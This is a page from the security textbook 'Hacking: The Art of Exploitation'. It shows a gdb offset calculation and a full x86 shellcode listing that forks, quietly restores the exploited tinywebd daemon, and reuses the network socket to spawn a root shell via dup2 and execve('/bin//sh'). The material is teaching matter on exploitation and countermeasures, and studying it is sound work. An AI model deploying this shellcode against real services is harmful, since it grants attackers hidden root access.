COUNTERMEASURES - Hacking: The Art of Exploitation - page 357

of new_sockfd will still be correct since the offset from ESP will be the same.
As you may remember from debugging with the mark_break shellcode, ESP
was 0xbffff7e0 . Using this value for ESP, the offset is shown to be 0x5c bytes.
reader@hacking:~/booksrc $ gdb -q
(gdb) print /x 0xbffff83c - 0xbffff7e0
$1 = 0x5c
(gdb)
The following shellcode reuses the existing socket for the root shell.
socket_reuse_restore.s
BITS 32
push BYTE 0x02 ; Fork is syscall #2
pop eax
int 0x80 ; After the fork, in child process eax == 0.
test eax, eax
jz child_process ; In child process spawns a shell.
; In the parent process, restore tinywebd.
lea ebp, [esp+0x68] ; Restore EBP.
push 0x08048fb7 ; Return address.
ret ; Return.
child_process:
; Re-use existing socket.
lea edx, [esp+0x5c] ; Put the address of new_sockfd in edx.
mov ebx, [edx] ; Put the value of new_sockfd in ebx.
push BYTE 0x02
pop ecx ; ecx starts at 2.
xor eax, eax
xor edx, edx
dup_loop:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80 ; dup2(c, 0)
dec ecx ; Count down to 0.
jns dup_loop ; If the sign flag is not set, ecx is not negative.
; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve syscall #11
push edx ; push some nulls for string termination.
push 0x68732f2f ; push "//sh" to the stack.
push 0x6e69622f ; push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp.
push edx ; push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr.
int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])